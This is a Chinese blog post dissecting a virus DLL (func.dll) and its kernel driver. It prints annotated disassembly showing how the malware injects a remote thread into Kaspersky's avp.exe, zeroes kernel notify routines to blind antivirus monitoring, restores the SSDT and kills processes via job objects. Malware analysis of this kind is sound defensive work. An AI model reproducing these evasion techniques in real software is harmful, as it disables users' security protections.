`
谁解怨妇心
  • 浏览: 28385 次
  • 性别: Icon_minigender_2
  • 来自: 广州
社区版块
存档分类
最新评论

未完的病毒分析func.dll

阅读更多
这个dll会释放出一个驱动,于是就被这个诡异的驱动迷惑了很久。后来上网一查发现几个月前在看雪看到的一个帖就是这个病毒的,而且我搞错了对象了,dll调用的sys很早就释放了出来orz。
DllMain没什么好说的,就将hModule保存起来并且调用OpenProcessToken、LookupPrivilegeValue跟AdjustTokenPrivileges提升进程权限。
droqp函数的分析如下:
引用
.text:10004340                 lea     eax, [ebp+SystemTime]
.text:10004343                 push    eax             ; lpSystemTime
.text:10004344                 call    ds:GetSystemTime
.text:1000434A                 cmp     [ebp+SystemTime.wYear], 7D7h ; 年份早于2007年则退出
.text:10004350                 jbe     loc_10004426
.text:10004356                 mov     esi, 104h
.text:1000435B                 lea     eax, [ebp+FileName]
.text:10004361                 push    esi             ; uSize
.text:10004362                 push    eax             ; lpBuffer
.text:10004363                 call    ds:GetWindowsDirectoryA
.text:10004369                 lea     eax, [ebp+FileName]
.text:1000436F                 push    offset aSystem32Driver ; "\\system32\\drivers"
.text:10004374                 push    eax             ; Dest
.text:10004375                 call    strcat
.text:1000437A                 lea     eax, [ebp+FileName]
.text:10004380                 push    offset aAcpiec_sys ; "\\acpiec.sys"
.text:10004385                 push    eax             ; Dest
.text:10004386                 call    strcat
.text:1000438B                 add     esp, 10h
.text:1000438E                 cmp     [ebp+SystemTime.wYear], 7D8h
.text:10004394                 jbe     short loc_100043AC
.text:10004396                 lea     eax, [ebp+FileName]
.text:1000439C                 push    eax             ; lpFileName
.text:1000439D                 push    offset hFile    ; "SYS"
.text:100043A2                 push    67h             ; hResInfo
.text:100043A4                 call    sub_10001000    ; 释放acpiec.sys到system32\drivers\目录下
.text:100043A9                 add     esp, 0Ch
.text:100043AC
.text:100043AC loc_100043AC:                           ; CODE XREF: droqp+ACj
.text:100043AC                 lea     eax, [ebp+FileName]
.text:100043B2                 push    eax             ; lpBinaryPathName
.text:100043B3                 call    sub_10003F22    ; 装载acpiec.sys
.text:100043B8                 pop     ecx
.text:100043B9                 xor     ebx, ebx
.text:100043BB                 push    ebx             ; hTemplateFile
.text:100043BC                 push    80h             ; dwFlagsAndAttributes
.text:100043C1                 push    3               ; dwCreationDisposition
.text:100043C3                 push    ebx             ; lpSecurityAttributes
.text:100043C4                 push    ebx             ; dwShareMode
.text:100043C5                 push    0C0000000h      ; dwDesiredAccess
.text:100043CA                 push    offset FileName ; "\\\\.\\CMusic"
.text:100043CF                 call    ds:CreateFileA  ; 打开的却是另一个驱动orz
.text:100043D5                 cmp     eax, 0FFFFFFFFh
.text:100043D8                 mov     [ebp+lpParameter], eax
.text:100043DB                 jz      short loc_10004400
.text:100043DD                 mov     edi, ds:GetSystemDirectoryA
.text:100043E3                 lea     eax, [ebp+FileName]
.text:100043E9                 push    esi             ; uSize
.text:100043EA                 push    eax             ; lpBuffer
.text:100043EB                 call    edi ; GetSystemDirectoryA
.text:100043ED                 lea     eax, [ebp+FileName]
.text:100043F3                 push    esi             ; uSize
.text:100043F4                 push    eax             ; lpBuffer
.text:100043F5                 call    edi ; GetSystemDirectoryA
.text:100043F7                 push    [ebp+lpParameter] ; Handle of \\.\CMusic
.text:100043FA                 call    sub_1000417D    ; 利用特征码在ntoskrl.exe里面找SSDT的偏移地址并与驱动通信还原SSDT
.text:100043FF                 pop     ecx
.text:10004400
.text:10004400 loc_10004400:                           ; CODE XREF: droqp+F3j
.text:10004400                 mov     esi, ds:Sleep
.text:10004406                 push    3E8h            ; dwMilliseconds
.text:1000440B                 call    esi ; Sleep
.text:1000440D                 push    ebx             ; lpThreadId
.text:1000440E                 push    ebx             ; dwCreationFlags
.text:1000440F                 push    [ebp+lpParameter] ; lpParameter
.text:10004412                 push    offset StartAddress ; lpStartAddress
.text:10004417                 push    ebx             ; dwStackSize
.text:10004418                 push    ebx             ; lpThreadAttributes
.text:10004419                 call    ds:CreateThread ; 开启工作线程
.text:1000441F                 push    1D4C0h          ; dwMilliseconds
.text:10004424                 call    esi ; Sleep

当初看到释放的驱动,分析了N久也没找到看雪上的牛人说的恢复SSDT跟杀进程的代码,更要命的是acpiec.sys连符号链接都没创建……后来看了一下加载的\\.\CMusic是另外一个病毒文件释放出来的orz
工作线程先是列出了一对杀毒软件的名,然后再用ToolHelp32函数来枚举进程,不过不知道是不是我这个func.dll跟别人的不同……只是枚举进程却没有杀进程的操作,就光杀了一个卡巴斯基:
引用

.text:10001254                 push    ebp
.text:10001255                 mov     ebp, esp
.text:10001257                 sub     esp, 224h
.text:1000125D                 push    ebx
.text:1000125E                 push    [ebp+dwProcessId] ; th32ProcessID
.text:10001261                 push    8               ; dwFlags
.text:10001263                 call    CreateToolhelp32Snapshot
.text:10001268                 mov     ebx, eax
.text:1000126A                 cmp     ebx, 0FFFFFFFFh
.text:1000126D                 jz      loc_10001328
.text:10001273                 lea     eax, [ebp+me]
.text:10001279                 mov     [ebp+me.dwSize], 224h
.text:10001283                 push    eax             ; lpme
.text:10001284                 push    ebx             ; hSnapshot
.text:10001285                 call    Module32First
.text:1000128A                 test    eax, eax
.text:1000128C                 jnz     short loc_1000129A
.text:1000128E                 push    ebx             ; hObject
.text:1000128F                 call    ds:CloseHandle
.text:10001295                 jmp     loc_10001328
.text:1000129A ; ---------------------------------------------------------------------------
.text:1000129A
.text:1000129A loc_1000129A:                           ; CODE XREF: sub_10001254+38j
.text:1000129A                 push    esi
.text:1000129B                 mov     esi, ds:OutputDebugStringA
.text:100012A1                 push    edi
.text:100012A2                 mov     edi, ds:strstr
.text:100012A8
.text:100012A8 loc_100012A8:                           ; CODE XREF: sub_10001254+C9j
.text:100012A8                 lea     eax, [ebp+me.szExePath]
.text:100012AE                 push    eax             ; lpOutputString
.text:100012AF                 call    esi ; OutputDebugStringA
.text:100012B1                 lea     eax, [ebp+me.szExePath]
.text:100012B7                 push    offset SubStr   ; ".kdl"
.text:100012BC                 push    eax             ; Str
.text:100012BD                 call    edi ; strstr
.text:100012BF                 pop     ecx
.text:100012C0                 test    eax, eax
.text:100012C2                 pop     ecx
.text:100012C3                 jz      short loc_100012E9
.text:100012C5                 push    [ebp+me.hModule] ; lpParameter
.text:100012CB                 push    [ebp+dwProcessId] ; dwProcessId
.text:100012CE                 call    sub_10001201    ; 创建远程线程令avp.exe卸载kdl模块
.text:100012D3                 pop     ecx
.text:100012D4                 lea     eax, [ebp+me.szExePath]
.text:100012DA                 pop     ecx
.text:100012DB                 push    eax             ; lpOutputString
.text:100012DC                 call    esi ; OutputDebugStringA
.text:100012DE                 push    3E8h            ; dwMilliseconds
.text:100012E3                 call    ds:Sleep
.text:100012E9
.text:100012E9 loc_100012E9:                           ; CODE XREF: sub_10001254+6Fj
.text:100012E9                 lea     eax, [ebp+me.szExePath]
.text:100012EF                 push    offset aAvp_exe ; "avp.exe"
.text:100012F4                 push    eax             ; Str
.text:100012F5                 call    edi ; strstr
.text:100012F7                 pop     ecx
.text:100012F8                 test    eax, eax
.text:100012FA                 pop     ecx
.text:100012FB                 jz      short loc_1000130E
.text:100012FD                 lea     eax, [ebp+me.szExePath]
.text:10001303                 push    eax             ; Source
.text:10001304                 push    [ebp+Dest]      ; Dest
.text:10001307                 call    strcpy
.text:1000130C                 pop     ecx
.text:1000130D                 pop     ecx
.text:1000130E
.text:1000130E loc_1000130E:                           ; CODE XREF: sub_10001254+A7j
.text:1000130E                 lea     eax, [ebp+me]
.text:10001314                 push    eax             ; lpme
.text:10001315                 push    ebx             ; hSnapshot
.text:10001316                 call    Module32Next
.text:1000131B                 test    eax, eax
.text:1000131D                 jnz     short loc_100012A8
.text:1000131F                 push    ebx             ; hObject
.text:10001320                 call    ds:CloseHandle
.text:10001326                 pop     edi
.text:10001327                 pop     esi
.text:10001328
.text:10001328 loc_10001328:                           ; CODE XREF: sub_10001254+19j
.text:10001328                                         ; sub_10001254+41j
.text:10001328                 pop     ebx
.text:10001329                 leave
.text:1000132A                 retn
.text:1000132A sub_10001254    endp

这段代码是通过枚举卡巴的模块来查找kdl模块,找到就给卡巴创建一条远程线程来卸载它,然后就是WinExec执行两条命令来杀掉卡巴。
驱动部分:
先在DriverEntry调用以下函数:
引用

.text:00011BEE                 push    ebp
.text:00011BEF                 mov     ebp, esp
.text:00011BF1                 push    ecx
.text:00011BF2                 push    ecx
.text:00011BF3                 push    esi
.text:00011BF4                 mov     esi, ds:RtlInitUnicodeString
.text:00011BFA                 push    edi
.text:00011BFB                 push    offset word_11B2A ; SourceString=PsRemoveLoadImageNotifyRoutine
.text:00011C00                 lea     eax, [ebp+DestinationString]
.text:00011C03                 push    eax             ; DestinationString
.text:00011C04                 call    esi ; RtlInitUnicodeString
.text:00011C06                 mov     edi, ds:MmGetSystemRoutineAddress
.text:00011C0C                 lea     eax, [ebp+DestinationString]
.text:00011C0F                 push    eax             ; SystemRoutineName
.text:00011C10                 call    edi ; MmGetSystemRoutineAddress
.text:00011C12                 push    eax
.text:00011C13                 call    sub_11AFE
.text:00011C18                 push    offset word_11B6A ; SourceString=PsSetCreateProcessNotifyRoutine
.text:00011C1D                 lea     eax, [ebp+DestinationString]
.text:00011C20                 push    eax             ; DestinationString
.text:00011C21                 call    esi ; RtlInitUnicodeString
.text:00011C23                 lea     eax, [ebp+DestinationString]
.text:00011C26                 push    eax             ; SystemRoutineName
.text:00011C27                 call    edi ; MmGetSystemRoutineAddress
.text:00011C29                 push    eax
.text:00011C2A                 call    sub_11AFE
.text:00011C2F                 push    offset word_11BAA ; SourceString=PsRemoveCreateThreadNotifyRoutine
.text:00011C34                 lea     eax, [ebp+DestinationString]
.text:00011C37                 push    eax             ; DestinationString
.text:00011C38                 call    esi ; RtlInitUnicodeString
.text:00011C3A                 lea     eax, [ebp+DestinationString]
.text:00011C3D                 push    eax             ; SystemRoutineName
.text:00011C3E                 call    edi ; MmGetSystemRoutineAddress
.text:00011C40                 push    eax
.text:00011C41                 call    sub_11AFE
.text:00011C46                 pop     edi
.text:00011C47                 pop     esi
.text:00011C48                 leave
.text:00011C49                 retn
.text:00011C49 sub_11BEE       endp

引用

sub_11AFE       proc near               ; CODE XREF: sub_11BEE+25p
.text:00011AFE                                         ; sub_11BEE+3Cp ...
.text:00011AFE
.text:00011AFE arg_0           = dword ptr  4
.text:00011AFE
.text:00011AFE                 mov     eax, [esp+arg_0]
.text:00011B02                 test    eax, eax
.text:00011B04                 jz      short loc_11B14
.text:00011B06                 xor     ecx, ecx
.text:00011B08
.text:00011B08 loc_11B08:                              ; CODE XREF: sub_11AFE+14j
.text:00011B08                 cmp     byte ptr [eax], 0BFh ; 查找特征码
.text:00011B0B                 jz      short loc_11B18
.text:00011B0D                 inc     eax
.text:00011B0E                 inc     ecx
.text:00011B0F                 cmp     ecx, 14h
.text:00011B12                 jl      short loc_11B08
.text:00011B14
.text:00011B14 loc_11B14:                              ; CODE XREF: sub_11AFE+6j
.text:00011B14                 xor     al, al
.text:00011B16                 jmp     short locret_11B26
.text:00011B18 ; ---------------------------------------------------------------------------
.text:00011B18
.text:00011B18 loc_11B18:                              ; CODE XREF: sub_11AFE+Dj
.text:00011B18                 push    edi
.text:00011B19                 mov     edi, [eax+1]    ; 监控例程地址
.text:00011B1C                 push    8
.text:00011B1E                 pop     ecx
.text:00011B1F                 xor     eax, eax        ; 填0
.text:00011B21                 rep stosd
.text:00011B23                 mov     al, 1
.text:00011B25                 pop     edi
.text:00011B26
.text:00011B26 locret_11B26:                           ; CODE XREF: sub_11AFE+18j
.text:00011B26                 retn    4
.text:00011B26 sub_11AFE       endp

上面这段代码是查找PsRemoveLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、PsRemoveCreateThreadNotifyRoutine三个函数中的特征码例如bfe0a35580 mov      edi,offset nt!PspCreateProcessNotifyRoutine 获取监控例程的地址然后直接填0,令杀毒软件的监控失效。
接下来是IRP_MJ_DEVICE_CONTROL回调例程,响应两个操作码,分别是22E153h跟22E14Bh。前者是将传入的ProcessID调用ZwOpenProcess-》ZwCreateJobObject-》ZwAssignProcessToJobObject-》ZwTerminateJobObjcet来结束进程。后者是还原SSDT,代码很简单就不帖了。
func.dll只要是杀杀毒软件的。而phpi.dll才是实际干坏事的:包括修改host文件,下载木马、释放一个穿透还原的驱动。时间不足加上精力不足,就不分析了orz
分享到:
评论

相关推荐

    pb最好用的bmp图片转jpg图片dll(ImageUtils.dll)

    pb最好用的bmp图片转jpg图片dll(ImageUtils.dll) PB 函数声明 function Boolean Bmp2Jpgzzp(ref string bmp_name,ref string jpg_name) library 'ImageUtils.dll' alias for 'Bmp2Jpg' function Boolean Jpg2...

    小米官方刷机工具

    例如,`PUB_TEST_FUNC_DLL.dll`可能包含用于测试和验证刷机操作的函数,`SLA_Challenge.dll`可能涉及安全认证,而`qcCoInstaller.dll`可能与Qualcomm(高通)处理器相关的驱动安装有关。 6. **BaseTools.dll、...

    System.Core.dll.rar

    在System.Core.dll中,Func和Action两个泛型委托家族广泛应用于各种场景,它们分别代表有返回值和无返回值的函数。事件则是.NET中的多播委托,允许多个订阅者同时监听同一个事件,增强了代码的灵活性。匿名方法和...

    C#连接sap交互数据所需dll.zip

    首先,我们要了解**sapnco.dll**和**sapnco_utils.dll**这两个动态链接库的作用。sapnco.dll是SAP NetWeaver RFC SDK的核心部分,它为.NET环境提供了一组接口和类,允许C#代码调用SAP系统的远程功能模块(RFM)。...

    System.Linq.dll.rar

    《深入解析C#中的System.Linq.dll》 System.Linq.dll是.NET框架中一个至关重要的组件,它是C#语言 LINQ(Language Integrated Query,语言集成查询)功能的基础。在C#编程中,LINQ提供了一种优雅且高效的方式来处理...

    网络函数大公开配套函数库(netFunc.pas)

    《网络函数大公开配套函数库——netFunc.pas深度解析》 在计算机编程领域,Delphi作为一种高效且功能强大的对象 Pascal 编程语言,被广泛应用于开发桌面应用程序。在网络编程中,Delphi 提供了丰富的类库和函数,...

    Standard_Func.cs

    常用标准函数库,包括文件读取类、硬件操作类、判断类、加密类、类型转换类,持续更新中.....

    mainfunc.cpp

    cpp基本算法实现练习。包括交换算法,选择排序算法,冒泡排序算法,快速排序算法,归并排序算法。纯小白之作,写着玩儿的。

    discuz代码分析--global.func篇

    《Discuz代码分析——深入理解`global.func.php`》 Discuz是一款广泛应用于社区论坛建设的开源软件,其强大的功能和灵活的扩展性深受开发者喜爱。在深入学习和使用Discuz的过程中,对核心代码的理解至关重要,尤其...

    lottery.func.php

    lottery.func.php

    sdio_func.rar_sdio function_sdio_func_unknown

    为了更深入地理解SDIO功能和CIS元组,我们需要查看"sdio_func.c"的源代码,分析其中的函数和数据结构,以找出与未知CIS元组相关的部分。这可能涉及到SDIO规范的查阅,理解CIS的格式和每个元组的含义,以及如何在代码...

    res_func.rar_floating

    标题中的"res_func.rar_floating"暗示我们正在处理一个与浮点运算相关的资源函数库,可能是一个软件包或代码集合,用于处理摩托罗拉68040处理器的浮点运算。040是摩托罗拉68040微处理器的代号,这款处理器在90年代...

    mem_func.rar_内存泄露

    "mem_func.rar_内存泄露"这个压缩包显然包含了一个关于内存泄漏调试的示例代码,由`mem_func.c`和`mem_func.h`两个文件组成。 内存泄漏是指程序在申请内存后,无法释放已申请的内存空间,一次小的内存泄漏可能不...

    objfunc.m

    objfunc.m

    Basefunc.java

    Basefunc.java

    mathFunC.c

    mathFunC.c

    cec14_func.cpp

    CEC2014基准函数集,代码用c++编写,直接调用即可,希望对大家有帮助

    PSO工具箱使用简介\test_func.m(matlab程序源代码)

    (matlab程序源代码)PSO工具箱使用简介\test_func.mPSO工具箱使用简介\test_func.m

    函数func.playground.zip

    在"函数func.playground.zip"这个压缩包中,我们很可能找到了一个用于练习Swift函数的Playground文件。Playground是Xcode提供的一个工具,它允许程序员实时测试和调试代码,而无需构建完整的应用程序。下面我们将...

    4_13_func.py

    4_13_func.py

Global site tag (gtag.js) - Google Analytics